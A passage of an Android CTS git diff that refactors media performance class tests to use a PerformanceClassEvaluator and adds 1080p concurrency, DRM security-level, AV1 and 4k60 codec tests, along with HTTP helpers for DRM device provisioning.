+ @Rule
+ public final TestName mTestName = new TestName();
+
// Returns the params list with the mime and their hardware encoders in
// both sync and async modes.
// Parameters {0}_{2}_{3} -- Mime_EncoderName_isAsync
@@ -90,16 +88,28 @@
Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
boolean hasVP9 = mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
- int requiredMinInstances = getRequiredMinConcurrentInstances(hasVP9);
+ int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
testCodec(720, 1280, 4000000, requiredMinInstances);
}
+ /**
+ * This test validates that the encoder can support at least 6 concurrent 1080p 30fps
+ * encoder instances. Also ensures that all the concurrent sessions succeed in encoding.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement = "2.2.7.1/5.1/H-1-3,H-1-4")
+ public void test1080p() throws Exception {
+ Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+ testCodec(1080, 1920, 10000000, REQUIRED_MIN_CONCURRENT_INSTANCES);
+ }
+
private void testCodec(int height, int width, int bitrate, int requiredMinInstances)
throws Exception {
ArrayList<Pair<String, String>> mimeEncoderPairs = new ArrayList<>();
mimeEncoderPairs.add(Pair.create(mMime, mEncoderName));
int maxInstances = checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
- mimeEncoderPairs);
+ mimeEncoderPairs, requiredMinInstances);
double achievedFrameRate = 0.0;
if (maxInstances >= requiredMinInstances) {
ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
@@ -112,22 +122,22 @@
achievedFrameRate += result.get();
}
}
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_3;
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_4;
// Achieved frame rate is not compared as this test runs in byte buffer mode.
- if (Utils.isPerfClass()) {
- assertTrue("Encoder " + mEncoderName + " unable to support minimum concurrent " +
- "instances. act/exp: " + maxInstances + "/" + requiredMinInstances,
- maxInstances >= requiredMinInstances);
- Log.v(LOG_TAG, "Achieved fps: " + achievedFrameRate +
- "\nAchieved frame rate is not compared as this test runs in byte buffer mode");
+ if (height >= 1080) {
+ r5_1__H_1_3 = pce.addR5_1__H_1_3_1080p();
+ r5_1__H_1_4 = pce.addR5_1__H_1_4_1080p();
+ r5_1__H_1_3.setConcurrentInstances(maxInstances);
+ r5_1__H_1_4.setConcurrentFps(achievedFrameRate);
} else {
- int pc = maxInstances >= requiredMinInstances ? Build.VERSION_CODES.R : 0;
- DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
- "MultiEncoderPerf_" + mEncoderName);
- log.addValue("encoder", mMime + "_" + mEncoderName, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.setSummary("CDD 2.2.7.1/5.1/H-1-3,H-1-4 performance_class", pc, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.submit(InstrumentationRegistry.getInstrumentation());
+ r5_1__H_1_3 = pce.addR5_1__H_1_3_720p(mMime, mMime, height);
+ r5_1__H_1_4 = pce.addR5_1__H_1_4_720p();
+ r5_1__H_1_3.setConcurrentInstances(maxInstances);
+ r5_1__H_1_4.setConcurrentFps(achievedFrameRate);
}
+
+ pce.submitAndCheck();
}
}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
index d7d8445..34ffc9b 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
@@ -19,23 +19,20 @@
import static org.junit.Assert.assertTrue;
import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import android.mediapc.cts.common.Utils;
-import android.os.Build;
import android.util.Pair;
import android.view.Surface;
import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.rule.ActivityTestRule;
import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
import org.junit.Assume;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.TestName;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -73,6 +70,9 @@
mEncoderPair = encoderPair;
}
+ @Rule
+ public final TestName mTestName = new TestName();
+
// Parameters {0}_{1}_{2} -- Pair(Mime DecoderName)_Pair(Mime EncoderName)_isAsync
@Parameterized.Parameters(name = "{index}({0}_{1}_{2})")
public static Collection<Object[]> inputParams() {
@@ -115,10 +115,25 @@
boolean hasVP9 = mDecoderPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9)
|| mEncoderPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
- int requiredMinInstances = getRequiredMinConcurrentInstances(hasVP9) / 2;
+ int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
}
+ /**
+ * This test calculates the validates number of concurrent 1080p Transcode sessions that
+ * it can support by the (mime, decoder - mime, encoder) pairs. Creates maxInstances / 2
+ * Transcode sessions. If maximum instances is odd, creates one additional decoder which decodes
+ * to surface and render. And ensures that all the supported sessions succeed in
+ * transcoding/decoding with meeting the expected frame rate.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement = "2.2.7.1/5.1/H-1-5,H-1-6")
+ public void test1080p() throws Exception {
+ Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+ testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+ }
+
private void testCodec(Map<String, String> testFiles, int height, int width,
int requiredMinInstances) throws Exception {
mTestFiles = testFiles;
@@ -126,7 +141,8 @@
mimeCodecPairs.add(mDecoderPair);
mimeCodecPairs.add(mEncoderPair);
int maxInstances =
- checkAndGetMaxSupportedInstancesForCodecCombinations(height, width, mimeCodecPairs);
+ checkAndGetMaxSupportedInstancesForCodecCombinations(height, width, mimeCodecPairs,
+ requiredMinInstances);
double achievedFrameRate = 0.0;
if (maxInstances >= requiredMinInstances) {
ExecutorService pool =
@@ -160,29 +176,22 @@
}
}
}
- if (Utils.isPerfClass()) {
- assertTrue("DecodeMime: " + mDecoderPair.first + ", Decoder " + mDecoderPair.second +
- ", EncodeMime: " + mEncoderPair.first + ", Encoder: " + mEncoderPair.second +
- ", unable to support minimum concurrent instances. act/exp: " + maxInstances +
- "/" + requiredMinInstances, maxInstances >= requiredMinInstances);
- assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
- + "/" + mMaxFrameRate / 2 + " for " + maxInstances + " instances.",
- achievedFrameRate >= mMaxFrameRate / 2);
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_5;
+ PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_6;
+ if (height >= 1080) {
+ r5_1__H_1_5 = pce.addR5_1__H_1_5_1080p();
+ r5_1__H_1_6 = pce.addR5_1__H_1_6_1080p();
+ r5_1__H_1_5.setConcurrentInstances(maxInstances);
+ r5_1__H_1_6.setConcurrentFps(achievedFrameRate);
} else {
- int pc = maxInstances >= requiredMinInstances && achievedFrameRate >= mMaxFrameRate / 2
- ? Build.VERSION_CODES.R : 0;
- DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
- "MultiTranscoderPairPerf_" + mDecoderPair.second);
- log.addValue("decoders", mDecoderPair.first + "_" + mDecoderPair.second + "_"
- + mEncoderPair.first + "_" + mEncoderPair.second, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.addValue("achieved_framerate", achievedFrameRate, ResultType.HIGHER_BETTER,
- ResultUnit.NONE);
- log.addValue("expected_framerate", mMaxFrameRate, ResultType.NEUTRAL, ResultUnit.NONE);
- log.setSummary("CDD 2.2.7.1/5.1/H-1-5,H-1-6 performance_class", pc, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.submit(InstrumentationRegistry.getInstrumentation());
+ r5_1__H_1_5 = pce.addR5_1__H_1_5_720p(mDecoderPair.first, mEncoderPair.first, height);
+ r5_1__H_1_6 = pce.addR5_1__H_1_6_720p(mDecoderPair.first, mEncoderPair.first, height);
+ r5_1__H_1_5.setConcurrentInstances(maxInstances);
+ r5_1__H_1_6.setConcurrentFps(achievedFrameRate);
}
+
+ pce.submitAndCheck();
}
}
diff --git a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
index 8a4b732..8da22f3 100644
--- a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
@@ -17,12 +17,7 @@
package android.mediapc.cts;
import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
-import static android.mediapc.cts.common.Utils.MIN_MEMORY_PERF_CLASS_CANDIDATE_MB;
-import static android.mediapc.cts.common.Utils.MIN_MEMORY_PERF_CLASS_T_MB;
-import static android.util.DisplayMetrics.DENSITY_400;
-
-import static com.google.common.truth.Truth.assertThat;
-
+import static android.media.MediaDrm.SECURITY_LEVEL_HW_SECURE_ALL;
import static org.junit.Assert.assertTrue;
import android.app.ActivityManager;
@@ -35,39 +30,40 @@
import android.media.UnsupportedSchemeException;
import android.mediapc.cts.common.PerformanceClassEvaluator;
import android.mediapc.cts.common.Utils;
-import android.os.Build;
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.WindowManager;
-
import androidx.test.filters.SmallTest;
import androidx.test.platform.app.InstrumentationRegistry;
-
import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.UUID;
import org.junit.Assume;
+import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TestName;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.UUID;
-
/**
* Tests the basic aspects of the media performance class.
*/
public class PerformanceClassTest {
private static final String TAG = "PerformanceClassTest";
- private static final UUID WIDEVINE_UUID = new UUID(0xEDEF8BA979D64ACEL, 0xA3C827DCD51D21EDL);
+ public static final String[] VIDEO_CONTAINER_MEDIA_TYPES =
+ {"video/mp4", "video/webm", "video/3gpp", "video/3gpp2", "video/avi", "video/x-ms-wmv",
+ "video/x-ms-asf"};
static ArrayList<String> mMimeSecureSupport = new ArrayList<>();
@Rule
public final TestName mTestName = new TestName();
+ @Before
+ public void isPerformanceClassCandidate() {
+ Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+ }
+
static {
mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_AVC);
mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
@@ -89,8 +85,8 @@
@SmallTest
@Test
- // TODO(b/218771970) Add @CddTest annotation
- public void testSecureHwDecodeSupport() throws IOException {
+ @CddTest(requirements = {"2.2.7.1/5.1/H-1-11"})
+ public void testSecureHwDecodeSupport() {
ArrayList<String> noSecureHwDecoderForMimes = new ArrayList<>();
for (String mime : mMimeSecureSupport) {
boolean isSecureHwDecoderFoundForMime = false;
@@ -112,74 +108,41 @@
if (isHwDecoderFoundForMime && !isSecureHwDecoderFoundForMime)
noSecureHwDecoderForMimes.add(mime);
}
- if (Utils.isTPerfClass()) {
- assertTrue(
- "For MPC >= Android T, if HW decoder is present for a mime, secure HW decoder" +
- " must be present for the mime. HW decoder present but secure HW " +
- "decoder not available for mimes: " + noSecureHwDecoderForMimes,
- noSecureHwDecoderForMimes.isEmpty());
- } else {
- DeviceReportLog log =
- new DeviceReportLog("MediaPerformanceClassLogs", "SecureHwDecodeSupport");
- log.addValue("SecureHwDecodeSupportForMimesWithHwDecoders",
- noSecureHwDecoderForMimes.isEmpty(), ResultType.NEUTRAL, ResultUnit.NONE);
- // TODO(b/218771970) Log CDD sections
- log.setSummary("MPC 13: Widevine/Secure codec requirements", 0, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.submit(InstrumentationRegistry.getInstrumentation());
- }
+
+ boolean secureDecodeSupportIfHwDecoderPresent = noSecureHwDecoderForMimes.isEmpty();
+
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.SecureCodecRequirement r5_1__H_1_11 = pce.addR5_1__H_1_11();
+ r5_1__H_1_11.setSecureReqSatisfied(secureDecodeSupportIfHwDecoderPresent);
+
+ pce.submitAndCheck();
}
@SmallTest
@Test
- // TODO(b/218771970) Add @CddTest annotation
- public void testWidevineSupport() throws UnsupportedSchemeException {
- boolean isWidevineSupported = MediaDrm.isCryptoSchemeSupported(WIDEVINE_UUID);
- boolean isL1Supported = false;
- boolean isL1Tier3Supported = false;
- boolean isOemCrypto17Plus = false;
- boolean isWidevineCdm17Plus = false;
- if (isWidevineSupported) {
- MediaDrm mediaDrm = new MediaDrm(WIDEVINE_UUID);
- isL1Supported = mediaDrm.getPropertyString("securityLevel").equals("L1");
- int tier = Integer.parseInt(mediaDrm.getPropertyString("resourceRatingTier"));
- isL1Tier3Supported = tier >= 3;
+ @CddTest(requirements = {"2.2.7.1/5.7/H-1-2"})
+ public void testMediaDrmSecurityLevelHwSecureAll() throws UnsupportedSchemeException {
+ List<UUID> drmList = MediaDrm.getSupportedCryptoSchemes();
+ List<UUID> supportedHwSecureAllSchemes = new ArrayList<>();
- String oemCryptoVersionProperty = mediaDrm.getPropertyString("oemCryptoApiVersion");
- int oemCryptoVersion = Integer.parseInt(oemCryptoVersionProperty);
- isOemCrypto17Plus = oemCryptoVersion >= 17;
-
- String cdmVersionProperty = mediaDrm.getPropertyString(MediaDrm.PROPERTY_VERSION);
- int cdmMajorVersion = Integer.parseInt(cdmVersionProperty.split("\\.", 2)[0]);
- isWidevineCdm17Plus = cdmMajorVersion >= 17;
+ for (UUID cryptoSchemeUUID : drmList) {
+ boolean cryptoSchemeSupportedForAtleastOneMediaType = false;
+ for (String mediaType : VIDEO_CONTAINER_MEDIA_TYPES) {
+ cryptoSchemeSupportedForAtleastOneMediaType |= MediaDrm
+ .isCryptoSchemeSupported(cryptoSchemeUUID, mediaType,
+ SECURITY_LEVEL_HW_SECURE_ALL);
+ }
+ if (cryptoSchemeSupportedForAtleastOneMediaType) {
+ supportedHwSecureAllSchemes.add(cryptoSchemeUUID);
+ }
}
- if (Utils.isTPerfClass()) {
- assertTrue("Widevine support required for MPC >= Android T", isWidevineSupported);
- assertTrue("Widevine L1 support required for MPC >= Android T", isL1Supported);
- assertTrue("Widevine L1 Resource Rating Tier 3 support required for MPC >= Android T",
- isL1Tier3Supported);
- assertTrue("OEMCrypto min version 17.x required for MPC >= Android T",
- isOemCrypto17Plus);
- assertTrue("Widevine CDM min version 17.x required for MPC >= Android T",
- isWidevineCdm17Plus);
- } else {
- DeviceReportLog log =
- new DeviceReportLog("MediaPerformanceClassLogs", "WidevineSupport");
- log.addValue("Widevine Support", isWidevineSupported, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.addValue("Widevine L1 Support", isL1Supported, ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("Widevine L1 Resource Rating Tier 3 Support", isL1Tier3Supported,
- ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("OEMCrypto min version 17.x Support", isOemCrypto17Plus,
- ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("Widevine CDM min version 17.x Support", isWidevineCdm17Plus,
- ResultType.NEUTRAL, ResultUnit.NONE);
- // TODO(b/218771970) Log CDD sections
- log.setSummary("MPC 13: Widevine/Secure codec requirements", 0, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.submit(InstrumentationRegistry.getInstrumentation());
- }
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.SecureCodecRequirement r5_7__H_1_2 = pce.addR5_7__H_1_2();
+
+ r5_7__H_1_2.setNumCryptoHwSecureAllDec(supportedHwSecureAllSchemes.size());
+
+ pce.submitAndCheck();
}
@SmallTest
@@ -221,6 +184,7 @@
r7_1_1_1__h_1_1.setLongResolution(longPix);
r7_1_1_1__h_2_1.setLongResolution(longPix);
+
r7_1_1_1__h_1_1.setShortResolution(shortPix);
r7_1_1_1__h_2_1.setShortResolution(shortPix);
@@ -233,8 +197,7 @@
@Test
@CddTest(requirements={
"2.2.7.3/7.6.1/H-1-1",
- "2.2.7.3/7.6.1/H-2-1",
- "2.2.7.3/7.6.1/H-3-1"})
+ "2.2.7.3/7.6.1/H-2-1",})
public void testMinimumMemory() {
Context context = InstrumentationRegistry.getInstrumentation().getContext();
diff --git a/tests/mediapc/src/android/mediapc/cts/Post.java b/tests/mediapc/src/android/mediapc/cts/Post.java
new file mode 100644
index 0000000..65d7062
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/Post.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import android.util.Log;
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.SocketTimeoutException;
+import java.net.URL;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * The following class connects to HTTP server, posts requests and returns the response
+ */
+public final class Post {
+
+ private static final int TIMEOUT_MS = 5000;
+ private static final int MAX_TRIES = 5;
+ private static final String TAG = "WVPostRequest";
+
+ public static final class Response {
+
+ public final int code;
+ public final byte[] body;
+
+ public Response(int code, byte[] body) {
+ this.code = code;
+ this.body = body;
+ }
+ }
+
+ private static final byte[] EMPTY_BODY = new byte[0];
+
+ private final String mUrl;
+ private final byte[] mData;
+ private final boolean mExpectOutput;
+
+ private final Map<String, String> mProperties = new HashMap<>();
+
+ public Post(String url, byte[] data) {
+
+ mUrl = url;
+
+ mData = data == null ?
+ EMPTY_BODY :
+ Arrays.copyOf(data, data.length);
+
+ mExpectOutput = data != null;
+ }
+
+ public void setProperty(String key, String value) {
+ mProperties.put(key, value);
+ }
+
+ public Response send() throws IOException, InterruptedException {
+
+ int tries = 1;
+ boolean needRetry = true;
+ Response response = null;
+
+ while (needRetry) {
+ HttpURLConnection connection = null;
+ needRetry = false;
+
+ try {
+ connection = (HttpURLConnection) new URL(mUrl).openConnection();
+
+ connection.setRequestMethod("POST");
+ connection.setDoOutput(mExpectOutput);
+ connection.setDoInput(true);
+ connection.setConnectTimeout(TIMEOUT_MS);
+ connection.setReadTimeout(TIMEOUT_MS);
+ connection.setChunkedStreamingMode(0);
+
+ for (final Map.Entry<String, String> property : mProperties.entrySet()) {
+ connection.setRequestProperty(
+ property.getKey(),
+ property.getValue());
+ }
+
+ try (BufferedOutputStream out =
+ new BufferedOutputStream(connection.getOutputStream())) {
+ out.write(mData);
+ }
+
+ try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
+
+ try (BufferedInputStream inputStream = connection.getResponseCode() < 400
+ ? new BufferedInputStream(connection.getInputStream())
+ : new BufferedInputStream(connection.getErrorStream())) {
+ connectStreams(inputStream, outputStream);
+ }
+
+ response = new Response(
+ connection.getResponseCode(),
+ outputStream.toByteArray());
+ }
+
+ } catch (SocketTimeoutException | FileNotFoundException ex) {
+
+ if (tries == MAX_TRIES) {
+ Log.e(TAG, "Aborting after receiving an Exception connecting to server on try "
+ + tries);
+ throw ex;
+ }
+
+ Log.w(TAG, "Retrying after receiving an Exception connecting to server on try "
+ + tries);
+ tries++;
+ needRetry = true;
+
+ // Let the gap between retries grow slightly with each retry.
+ Thread.sleep(tries * 500L);
+
+ } catch (Exception ex) {
+
+ Log.e(TAG, "Unexpected failure in response / request.", ex);
+ throw ex;
+
+ } finally {
+
+ if (connection != null) {
+ connection.disconnect();
+ }
+ }
+ }
+ return response;
+ }
+
+ private static void connectStreams(BufferedInputStream in, ByteArrayOutputStream out)
+ throws IOException {
+
+ final byte[] scratch = new byte[1024];
+
+ int read; /* declare this here so that the for loop can be aligned */
+
+ while ((read = in.read(scratch)) != -1) {
+ out.write(scratch, 0, read);
+ }
+ }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/ProvisionRequester.java b/tests/mediapc/src/android/mediapc/cts/ProvisionRequester.java
new file mode 100644
index 0000000..8d02700
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/ProvisionRequester.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static org.junit.Assert.*;
+
+import android.media.MediaDrm;
+
+import java.io.IOException;
+
+/*
+ * The ProvisionRequester is used to provision an unprovisioned device.
+ * This is likely a single use class, as devices should not need to be
+ * continually re-provisioned during playback.
+ */
+public final class ProvisionRequester {
+
+ private final MediaDrm mDrm;
+ private Exception mException = null;
+
+ public ProvisionRequester(MediaDrm drm) {
+ mDrm = drm;
+ }
+
+ private final Thread provisionThread = new Thread() {
+ @Override
+ public void run() {
+ try {
+ final MediaDrm.ProvisionRequest request = mDrm.getProvisionRequest();
+
+ final byte[] data = request.getData();
+
+ final String signedUrl = String.format(
+ "%s&signedRequest=%s",
+ request.getDefaultUrl(),
+ new String(data));
+
+ final Post post = new Post(signedUrl, null);
+
+ post.setProperty("Accept", "*/*");
+ post.setProperty("User-Agent", "Widevine CDM v1.0");
+ post.setProperty("Content-Type", "application/json");
+ post.setProperty("Connection", "close");
+
+ final Post.Response response = post.send();
+
+ if (response.code != 200) {
+ throw new IOException("Server returned HTTP error code " + response.code);
+ }
+
+ if (response.body == null) {
+ throw new IOException("No response from provisioning server");
+ }
+
+ if (response.body.length == 0) {
+ throw new IOException("Empty response from provisioning server");
+ }
+
+ mDrm.provideProvisionResponse(response.body);
+ } catch(Exception e) {
+ mException = e;
+ }
+ }
+ };
+
+ public void send() {
+ try {
+ provisionThread.start();
+ provisionThread.join();
+ assertNull("Got an Exception in provisioning: " + mException, mException);
+ } catch (InterruptedException ex) {
+ fail("Failed to provision");
+ }
+ }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
new file mode 100644
index 0000000..2ee8b3b
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static android.media.MediaFormat.MIMETYPE_VIDEO_AV1;
+import static android.mediapc.cts.CodecTestBase.SELECT_HARDWARE;
+import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
+import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
+import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertTrue;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
+import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
+import android.util.Log;
+import androidx.test.filters.LargeTest;
+import com.android.compatibility.common.util.CddTest;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+
+public class VideoCodecRequirementsTest {
+ private static final String LOG_TAG = VideoCodecRequirementsTest.class.getSimpleName();
+ private static final String FILE_AV1_REQ_SUPPORT =
+ "dpov_1920x1080_60fps_av1_10bit_film_grain.mp4";
+
+ @Rule
+ public final TestName mTestName = new TestName();
+
+ @Before
+ public void isPerformanceClassCandidate() {
+ Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+ }
+
+ private Set<String> get4k60HwCodecSet(boolean isEncoder) throws IOException {
+ Set<String> codecSet = new HashSet<>();
+ Set<String> codecMediaTypes = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
+ PerformancePoint PP4k60 = new PerformancePoint(3840, 2160, 60);
+ for (String codecMediaType : codecMediaTypes) {
+ ArrayList<String> hwVideoCodecs =
+ selectHardwareCodecs(codecMediaType, null, null, isEncoder);
+ for (String hwVideoCodec : hwVideoCodecs) {
+ MediaCodec codec = MediaCodec.createByCodecName(hwVideoCodec);
+ CodecCapabilities capabilities =
+ codec.getCodecInfo().getCapabilitiesForType(codecMediaType);
+ List<PerformancePoint> pps =
+ capabilities.getVideoCapabilities().getSupportedPerformancePoints();
+ assertTrue(hwVideoCodec + " doesn't advertise performance points", pps.size() > 0);
+ for (PerformancePoint pp : pps) {
+ if (pp.covers(PP4k60)) {
+ codecSet.add(hwVideoCodec);
+ Log.d(LOG_TAG,
+ "Performance point 4k60 supported by codec: " + hwVideoCodec);
+ break;
+ }
+ }
+ codec.release();
+ }
+ }
+ return codecSet;
+ }
+
+ /**
+ * Validates AV1 hardware decoder is present and supports: Main 10, Level 4.1, Film Grain
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement = "2.2.7.1/5.1/H-1-14")
+ public void testAV1HwDecoderRequirements() throws Exception {
+ MediaFormat format = MediaFormat.createVideoFormat(MIMETYPE_VIDEO_AV1, 1920, 1080);
+ format.setInteger(MediaFormat.KEY_FRAME_RATE, 60);
+ ArrayList<MediaFormat> formats = new ArrayList<>();
+ formats.add(format);
+ ArrayList<String> av1HwDecoders =
+ selectHardwareCodecs(MIMETYPE_VIDEO_AV1, formats, null, false);
+ boolean oneCodecDecoding = false;
+ for (String codec : av1HwDecoders) {
+ Decode decode = new Decode(MIMETYPE_VIDEO_AV1, FILE_AV1_REQ_SUPPORT, codec, true);
+ double achievedRate = decode.doDecode();
+ if (achievedRate > 0) {
+ oneCodecDecoding = true;
+ }
+ }
+
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.VideoCodecRequirement rAV1DecoderReq = pce.addRAV1DecoderReq();
+ rAV1DecoderReq.setAv1DecoderReq(oneCodecDecoding);
+
+ pce.submitAndCheck();
+ }
+
+ /**
+ * Validates if a hardware decoder that supports 4k60 is present
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement = "2.2.7.1/5.1/H-1-15")
+ public void test4k60Decoder() throws IOException {
+ Set<String> decoderSet = get4k60HwCodecSet(false);
+
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.VideoCodecRequirement r4k60HwDecoder = pce.addR4k60HwDecoder();
+ r4k60HwDecoder.set4kHwDecoders(decoderSet.size());
+
+ pce.submitAndCheck();
+ }
+
+ /**
+ * Validates if a hardware encoder that supports 4k60 is present
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement = "2.2.7.1/5.1/H-1-16")
+ public void test4k60Encoder() throws IOException {
+ Set<String> encoderSet = get4k60HwCodecSet(true);
+
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.VideoCodecRequirement r4k60HwEncoder = pce.addR4k60HwEncoder();
+ r4k60HwEncoder.set4kHwEncoders(encoderSet.size());
+
+ pce.submitAndCheck();
+ }
+}
diff --git a/tests/musicrecognition/Android.bp b/tests/musicrecognition/Android.bp
index 1b7298a..ecda10b 100644
--- a/tests/musicrecognition/Android.bp
+++ b/tests/musicrecognition/Android.bp
@@ -31,4 +31,8 @@
"cts",
"general-tests",
],
+ data: [
+ ":CtsOutsideOfPackageService",
+ ],
+ per_testcase_directory: true,
}
